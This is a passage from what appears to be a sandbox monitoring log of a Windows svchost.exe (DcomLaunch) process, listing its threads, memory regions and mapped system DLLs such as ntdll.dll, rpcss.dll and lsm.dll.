	              id = 1207
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1208
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 212
	os_tid = 0x36c


Thread:
	id = 213
	os_tid = 0x358


Thread:
	id = 214
	os_tid = 0x30c


Thread:
	id = 215
	os_tid = 0x260


Thread:
	id = 216
	os_tid = 0x240


Thread:
	id = 217
	os_tid = 0x238


Thread:
	id = 459
	os_tid = 0x66c


Process:
	id = "9"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x6f1c3000"
	os_pid = "0x248"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BrokerInfrastructure" [0xa], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\DeviceInstall" [0xa], "NT SERVICE\\LSM" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT SERVICE\\SystemEventsBroker" [0xa], "NT AUTHORITY\\Logon Session 00000000:00005f6c" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1287
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1288
	        start_va = 0x8649c0000
	          end_va = 0x8649cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000008649c0000"
	        filename = ""

Region:
	              id = 1289
	        start_va = 0x8649d0000
	          end_va = 0x8649d4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000008649d0000"
	        filename = ""

Region:
	              id = 1290
	        start_va = 0x8649e0000
	          end_va = 0x8649f3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000008649e0000"
	        filename = ""

Region:
	              id = 1291
	        start_va = 0x864a00000
	          end_va = 0x864a7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864a00000"
	        filename = ""

Region:
	              id = 1292
	        start_va = 0x864a80000
	          end_va = 0x864a83fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864a80000"
	        filename = ""

Region:
	              id = 1293
	        start_va = 0x864a90000
	          end_va = 0x864a90fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864a90000"
	        filename = ""

Region:
	              id = 1294
	        start_va = 0x864aa0000
	          end_va = 0x864aa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864aa0000"
	        filename = ""

Region:
	              id = 1295
	        start_va = 0x864ab0000
	          end_va = 0x864b6dfff
	     entry_point = 0x864ab0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1296
	        start_va = 0x864b70000
	          end_va = 0x864beffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864b70000"
	        filename = ""

Region:
	              id = 1297
	        start_va = 0x864bf0000
	          end_va = 0x864bf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864bf0000"
	        filename = ""

Region:
	              id = 1298
	        start_va = 0x864c00000
	          end_va = 0x864c06fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864c00000"
	        filename = ""

Region:
	              id = 1299
	        start_va = 0x864c10000
	          end_va = 0x864c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864c10000"
	        filename = ""

Region:
	              id = 1300
	        start_va = 0x864c90000
	          end_va = 0x864c90fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864c90000"
	        filename = ""

Region:
	              id = 1301
	        start_va = 0x864ca0000
	          end_va = 0x864ca0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864ca0000"
	        filename = ""

Region:
	              id = 1302
	        start_va = 0x864cb0000
	          end_va = 0x864cb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864cb0000"
	        filename = ""

Region:
	              id = 1303
	        start_va = 0x864cc0000
	          end_va = 0x864cc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864cc0000"
	        filename = ""

Region:
	              id = 1304
	        start_va = 0x864cd0000
	          end_va = 0x864cd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864cd0000"
	        filename = ""

Region:
	              id = 1305
	        start_va = 0x864ce0000
	          end_va = 0x864ce0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000864ce0000"
	        filename = ""

Region:
	              id = 1306
	        start_va = 0x864cf0000
	          end_va = 0x864cf6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864cf0000"
	        filename = ""

Region:
	              id = 1307
	        start_va = 0x864d00000
	          end_va = 0x864dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864d00000"
	        filename = ""

Region:
	              id = 1308
	        start_va = 0x864e00000
	          end_va = 0x864efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864e00000"
	        filename = ""

Region:
	              id = 1309
	        start_va = 0x864f00000
	          end_va = 0x864f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864f00000"
	        filename = ""

Region:
	              id = 1310
	        start_va = 0x864f80000
	          end_va = 0x864ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000864f80000"
	        filename = ""

Region:
	              id = 1311
	        start_va = 0x865000000
	          end_va = 0x865002fff
	     entry_point = 0x865000000
	     region_type = mapped_file
	            name = "lsm.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui")

Region:
	              id = 1312
	        start_va = 0x865010000
	          end_va = 0x865016fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865010000"
	        filename = ""

Region:
	              id = 1313
	        start_va = 0x865020000
	          end_va = 0x86509ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865020000"
	        filename = ""

Region:
	              id = 1314
	        start_va = 0x8650a0000
	          end_va = 0x8650a0fff
	     entry_point = 0x8650a0000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 1315
	        start_va = 0x8650b0000
	          end_va = 0x8650b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000008650b0000"
	        filename = ""

Region:
	              id = 1316
	        start_va = 0x8650c0000
	          end_va = 0x8650c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000008650c0000"
	        filename = ""

Region:
	              id = 1317
	        start_va = 0x8650d0000
	          end_va = 0x8650d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000008650d0000"
	        filename = ""

Region:
	              id = 1318
	        start_va = 0x8650e0000
	          end_va = 0x8650e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000008650e0000"
	        filename = ""

Region:
	              id = 1319
	        start_va = 0x865100000
	          end_va = 0x8651fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865100000"
	        filename = ""

Region:
	              id = 1320
	        start_va = 0x865200000
	          end_va = 0x8652fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865200000"
	        filename = ""

Region:
	              id = 1321
	        start_va = 0x865300000
	          end_va = 0x8653fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865300000"
	        filename = ""

Region:
	              id = 1322
	        start_va = 0x865400000
	          end_va = 0x86547ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865400000"
	        filename = ""

Region:
	              id = 1323
	        start_va = 0x865480000
	          end_va = 0x8654fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865480000"
	        filename = ""

Region:
	              id = 1324
	        start_va = 0x865500000
	          end_va = 0x8655fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865500000"
	        filename = ""

Region:
	              id = 1325
	        start_va = 0x865600000
	          end_va = 0x8656fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865600000"
	        filename = ""

Region:
	              id = 1326
	        start_va = 0x865700000
	          end_va = 0x86577ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865700000"
	        filename = ""

Region:
	              id = 1327
	        start_va = 0x865780000
	          end_va = 0x865786fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865780000"
	        filename = ""

Region:
	              id = 1328
	        start_va = 0x865790000
	          end_va = 0x8657b9fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000865790000"
	        filename = ""

Region:
	              id = 1329
	        start_va = 0x865800000
	          end_va = 0x8658fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865800000"
	        filename = ""

Region:
	              id = 1330
	        start_va = 0x865900000
	          end_va = 0x8659fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865900000"
	        filename = ""

Region:
	              id = 1331
	        start_va = 0x865a00000
	          end_va = 0x865d36fff
	     entry_point = 0x865a00000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1332
	        start_va = 0x865d40000
	          end_va = 0x865e3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865d40000"
	        filename = ""

Region:
	              id = 1333
	        start_va = 0x865e40000
	          end_va = 0x865f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865e40000"
	        filename = ""

Region:
	              id = 1334
	        start_va = 0x865f40000
	          end_va = 0x86603ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000865f40000"
	        filename = ""

Region:
	              id = 1335
	        start_va = 0x866040000
	          end_va = 0x8660fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000866040000"
	        filename = ""

Region:
	              id = 1336
	        start_va = 0x866100000
	          end_va = 0x8661fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866100000"
	        filename = ""

Region:
	              id = 1337
	        start_va = 0x866200000
	          end_va = 0x8662fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866200000"
	        filename = ""

Region:
	              id = 1338
	        start_va = 0x866300000
	          end_va = 0x8663fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866300000"
	        filename = ""

Region:
	              id = 1339
	        start_va = 0x866400000
	          end_va = 0x866587fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000866400000"
	        filename = ""

Region:
	              id = 1340
	        start_va = 0x866590000
	          end_va = 0x866710fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000866590000"
	        filename = ""

Region:
	              id = 1341
	        start_va = 0x866720000
	          end_va = 0x86681ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866720000"
	        filename = ""

Region:
	              id = 1342
	        start_va = 0x866a20000
	          end_va = 0x866a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866a20000"
	        filename = ""

Region:
	              id = 1343
	        start_va = 0x866aa0000
	          end_va = 0x866b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866aa0000"
	        filename = ""

Region:
	              id = 1344
	        start_va = 0x866b20000
	          end_va = 0x866c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866b20000"
	        filename = ""

Region:
	              id = 1345
	        start_va = 0x866c20000
	          end_va = 0x866d1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866c20000"
	        filename = ""

Region:
	              id = 1346
	        start_va = 0x866d20000
	          end_va = 0x866e1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000866d20000"
	        filename = ""

Region:
	              id = 1347
	        start_va = 0x7df5ff6a0000
	          end_va = 0x7ff5ff69ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff6a0000"
	        filename = ""

Region:
	              id = 1348
	        start_va = 0x7ff7b3006000
	          end_va = 0x7ff7b3007fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3006000"
	        filename = ""

Region:
	              id = 1349
	        start_va = 0x7ff7b3008000
	          end_va = 0x7ff7b3009fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3008000"
	        filename = ""

Region:
	              id = 1350
	        start_va = 0x7ff7b300a000
	          end_va = 0x7ff7b300bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b300a000"
	        filename = ""

Region:
	              id = 1351
	        start_va = 0x7ff7b300c000
	          end_va = 0x7ff7b300dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b300c000"
	        filename = ""

Region:
	              id = 1352
	        start_va = 0x7ff7b300e000
	          end_va = 0x7ff7b300ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b300e000"
	        filename = ""

Region:
	              id = 1353
	        start_va = 0x7ff7b3014000
	          end_va = 0x7ff7b3015fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3014000"
	        filename = ""

Region:
	              id = 1354
	        start_va = 0x7ff7b3016000
	          end_va = 0x7ff7b3017fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3016000"
	        filename = ""

Region:
	              id = 1355
	        start_va = 0x7ff7b301a000
	          end_va = 0x7ff7b301bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b301a000"
	        filename = ""

Region:
	              id = 1356
	        start_va = 0x7ff7b301c000
	          end_va = 0x7ff7b301dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b301c000"
	        filename = ""

Region:
	              id = 1357
	        start_va = 0x7ff7b301e000
	          end_va = 0x7ff7b301ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b301e000"
	        filename = ""

Region:
	              id = 1358
	        start_va = 0x7ff7b3020000
	          end_va = 0x7ff7b3021fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3020000"
	        filename = ""

Region:
	              id = 1359
	        start_va = 0x7ff7b3022000
	          end_va = 0x7ff7b3023fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3022000"
	        filename = ""

Region:
	              id = 1360
	        start_va = 0x7ff7b3024000
	          end_va = 0x7ff7b3025fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3024000"
	        filename = ""

Region:
	              id = 1361
	        start_va = 0x7ff7b3026000
	          end_va = 0x7ff7b3027fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3026000"
	        filename = ""

Region:
	              id = 1362
	        start_va = 0x7ff7b3028000
	          end_va = 0x7ff7b3029fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3028000"
	        filename = ""

Region:
	              id = 1363
	        start_va = 0x7ff7b302a000
	          end_va = 0x7ff7b302bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b302a000"
	        filename = ""

Region:
	              id = 1364
	        start_va = 0x7ff7b302c000
	          end_va = 0x7ff7b302dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b302c000"
	        filename = ""

Region:
	              id = 1365
	        start_va = 0x7ff7b302e000
	          end_va = 0x7ff7b302ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b302e000"
	        filename = ""

Region:
	              id = 1366
	        start_va = 0x7ff7b3030000
	          end_va = 0x7ff7b312ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3030000"
	        filename = ""

Region:
	              id = 1367
	        start_va = 0x7ff7b3130000
	          end_va = 0x7ff7b3152fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3130000"
	        filename = ""

Region:
	              id = 1368
	        start_va = 0x7ff7b3153000
	          end_va = 0x7ff7b3154fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3153000"
	        filename = ""

Region:
	              id = 1369
	        start_va = 0x7ff7b3155000
	          end_va = 0x7ff7b3156fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3155000"
	        filename = ""

Region:
	              id = 1370
	        start_va = 0x7ff7b3157000
	          end_va = 0x7ff7b3158fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3157000"
	        filename = ""

Region:
	              id = 1371
	        start_va = 0x7ff7b3159000
	          end_va = 0x7ff7b3159fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3159000"
	        filename = ""

Region:
	              id = 1372
	        start_va = 0x7ff7b315a000
	          end_va = 0x7ff7b315bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b315a000"
	        filename = ""

Region:
	              id = 1373
	        start_va = 0x7ff7b315c000
	          end_va = 0x7ff7b315dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b315c000"
	        filename = ""

Region:
	              id = 1374
	        start_va = 0x7ff7b315e000
	          end_va = 0x7ff7b315ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b315e000"
	        filename = ""

Region:
	              id = 1375
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1376
	        start_va = 0x7ffbf4cc0000
	          end_va = 0x7ffbf4cd5fff
	     entry_point = 0x7ffbf4cc0000
	     region_type = mapped_file
	            name = "capauthz.dll"
	        filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll")

Region:
	              id = 1377
	        start_va = 0x7ffbf4ce0000
	          end_va = 0x7ffbf4cebfff
	     entry_point = 0x7ffbf4ce0000
	     region_type = mapped_file
	            name = "licensemanagerapi.dll"
	        filename = "\\Windows\\System32\\LicenseManagerApi.dll" (normalized: "c:\\windows\\system32\\licensemanagerapi.dll")

Region:
	              id = 1378
	        start_va = 0x7ffbf4fd0000
	          end_va = 0x7ffbf4fe4fff
	     entry_point = 0x7ffbf4fd0000
	     region_type = mapped_file
	            name = "execmodelproxy.dll"
	        filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll")

Region:
	              id = 1379
	        start_va = 0x7ffbf50d0000
	          end_va = 0x7ffbf50ddfff
	     entry_point = 0x7ffbf50d0000
	     region_type = mapped_file
	            name = "sebbackgroundmanagerpolicy.dll"
	        filename = "\\Windows\\System32\\SebBackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\sebbackgroundmanagerpolicy.dll")

Region:
	              id = 1380
	        start_va = 0x7ffbf50e0000
	          end_va = 0x7ffbf50f7fff
	     entry_point = 0x7ffbf50e0000
	     region_type = mapped_file
	            name = "windows.networking.backgroundtransfer.backgroundmanagerpolicy.dll"
	        filename = "\\Windows\\System32\\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\windows.networking.backgroundtransfer.backgroundmanagerpolicy.dll")

Region:
	              id = 1381
	        start_va = 0x7ffbf5100000
	          end_va = 0x7ffbf5116fff
	     entry_point = 0x7ffbf5100000
	     region_type = mapped_file
	            name = "acpbackgroundmanagerpolicy.dll"
	        filename = "\\Windows\\System32\\ACPBackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\acpbackgroundmanagerpolicy.dll")

Region:
	              id = 1382
	        start_va = 0x7ffbf5120000
	          end_va = 0x7ffbf512bfff
	     entry_point = 0x7ffbf5120000
	     region_type = mapped_file
	            name = "cbtbackgroundmanagerpolicy.dll"
	        filename = "\\Windows\\System32\\CbtBackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\cbtbackgroundmanagerpolicy.dll")

Region:
	              id = 1383
	        start_va = 0x7ffbf5130000
	          end_va = 0x7ffbf513ffff
	     entry_point = 0x7ffbf5130000
	     region_type = mapped_file
	            name = "backgroundmediapolicy.dll"
	        filename = "\\Windows\\System32\\BackgroundMediaPolicy.dll" (normalized: "c:\\windows\\system32\\backgroundmediapolicy.dll")

Region:
	              id = 1384
	        start_va = 0x7ffbf5200000
	          end_va = 0x7ffbf5242fff
	     entry_point = 0x7ffbf5200000
	     region_type = mapped_file
	            name = "execmodelclient.dll"
	        filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll")

Region:
	              id = 1385
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 1386
	        start_va = 0x7ffbfba50000
	          end_va = 0x7ffbfbae1fff
	     entry_point = 0x7ffbfba50000
	     region_type = mapped_file
	            name = "msvcp110_win.dll"
	        filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll")

Region:
	              id = 1387
	        start_va = 0x7ffbfd180000
	          end_va = 0x7ffbfd18ffff
	     entry_point = 0x7ffbfd180000
	     region_type = mapped_file
	            name = "usermgrcli.dll"
	        filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll")

Region:
	              id = 1388
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1389
	        start_va = 0x7ffbfd740000
	          end_va = 0x7ffbfd7b1fff
	     entry_point = 0x7ffbfd740000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 1390
	        start_va = 0x7ffbfdbe0000
	          end_va = 0x7ffbfdbebfff
	     entry_point = 0x7ffbfdbe0000
	     region_type = mapped_file
	            name = "bi.dll"
	        filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll")

Region:
	              id = 1391
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1392
	        start_va = 0x7ffbfeaf0000
	          end_va = 0x7ffbfeb10fff
	     entry_point = 0x7ffbfeaf0000
	     region_type = mapped_file
	            name = "dab.dll"
	        filename = "\\Windows\\System32\\dab.dll" (normalized: "c:\\windows\\system32\\dab.dll")

Region:
	              id = 1393
	        start_va = 0x7ffbfeb20000
	          end_va = 0x7ffbfeb5efff
	     entry_point = 0x7ffbfeb20000
	     region_type = mapped_file
	            name = "brokerlib.dll"
	        filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll")

Region:
	              id = 1394
	        start_va = 0x7ffbfeb60000
	          end_va = 0x7ffbfebc1fff
	     entry_point = 0x7ffbfeb60000
	     region_type = mapped_file
	            name = "systemeventsbrokerserver.dll"
	        filename = "\\Windows\\System32\\SystemEventsBrokerServer.dll" (normalized: "c:\\windows\\system32\\systemeventsbrokerserver.dll")

Region:
	              id = 1395
	        start_va = 0x7ffbfec30000
	          end_va = 0x7ffbfecf7fff
	     entry_point = 0x7ffbfec30000
	     region_type = mapped_file
	            name = "coremessaging.dll"
	        filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll")

Region:
	              id = 1396
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1397
	        start_va = 0x7ffbff260000
	          end_va = 0x7ffbff34dfff
	     entry_point = 0x7ffbff260000
	     region_type = mapped_file
	            name = "twinapi.appcore.dll"
	        filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll")

Region:
	              id = 1398
	        start_va = 0x7ffbff350000
	          end_va = 0x7ffbff3d3fff
	     entry_point = 0x7ffbff350000
	     region_type = mapped_file
	            name = "psmserviceexthost.dll"
	        filename = "\\Windows\\System32\\PsmServiceExtHost.dll" (normalized: "c:\\windows\\system32\\psmserviceexthost.dll")

Region:
	              id = 1399
	        start_va = 0x7ffbff3e0000
	          end_va = 0x7ffbff3e8fff
	     entry_point = 0x7ffbff3e0000
	     region_type = mapped_file
	            name = "wmsgapi.dll"
	        filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll")

Region:
	              id = 1400
	        start_va = 0x7ffbff3f0000
	          end_va = 0x7ffbff3fbfff
	     entry_point = 0x7ffbff3f0000
	     region_type = mapped_file
	            name = "sysntfy.dll"
	        filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")

Region:
	              id = 1401
	        start_va = 0x7ffbff400000
	          end_va = 0x7ffbff4c0fff
	     entry_point = 0x7ffbff400000
	     region_type = mapped_file
	            name = "lsm.dll"
	        filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll")

Region:
	              id = 1402
	        start_va = 0x7ffbff4d0000
	          end_va = 0x7ffbff4f7fff
	     entry_point = 0x7ffbff4d0000
	     region_type = mapped_file
	            name = "rmclient.dll"
	        filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll")

Region:
	              id = 1403
	        start_va = 0x7ffbff500000
	          end_va = 0x7ffbff531fff
	     entry_point = 0x7ffbff500000
	     region_type = mapped_file
	            name = "psmsrv.dll"
	        filename = "\\Windows\\System32\\psmsrv.dll" (normalized: "c:\\windows\\system32\\psmsrv.dll")

Region:
	              id = 1404
	        start_va = 0x7ffbff540000
	          end_va = 0x7ffbff5c5fff
	     entry_point = 0x7ffbff540000
	     region_type = mapped_file
	            name = "bisrv.dll"
	        filename = "\\Windows\\System32\\bisrv.dll" (normalized: "c:\\windows\\system32\\bisrv.dll")

Region:
	              id = 1405
	        start_va = 0x7ffbff6e0000
	          end_va = 0x7ffbff7bafff
	     entry_point = 0x7ffbff6e0000
	     region_type = mapped_file
	            name = "rpcss.dll"
	        filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")

Region:
	              id = 1406
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1407
	        start_va = 0x7ffbff7f0000
	          end_va = 0x7ffbff8e7fff
	     entry_point = 0x7ffbff7f0000
	     region_type = mapped_file
	            name = "tdh.dll"
	        filename = "\\Windows\\System32\\tdh.dll" (normalized: "c:\\windows\\system32\\tdh.dll")

Region:
	              id = 1408
	        start_va = 0x7ffbff8f0000
	          end_va = 0x7ffbff8fbfff
	     entry_point = 0x7ffbff8f0000
	     region_type = mapped_file
	            name = "hid.dll"
	        filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll")

Region:
	              id = 1409
	        start_va = 0x7ffbff900000
	          end_va = 0x7ffbff915fff
	     entry_point = 0x7ffbff900000
	     region_type = mapped_file
	            name = "umpoext.dll"
	        filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll")

Region:
	              id = 1410
	        start_va = 0x7ffbff920000
	          end_va = 0x7ffbff93afff
	     entry_point = 0x7ffbff920000
	     region_type = mapped_file
	            name = "umpo.dll"
	        filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll")

Region:
	              id = 1411
	        start_va = 0x7ffbff940000
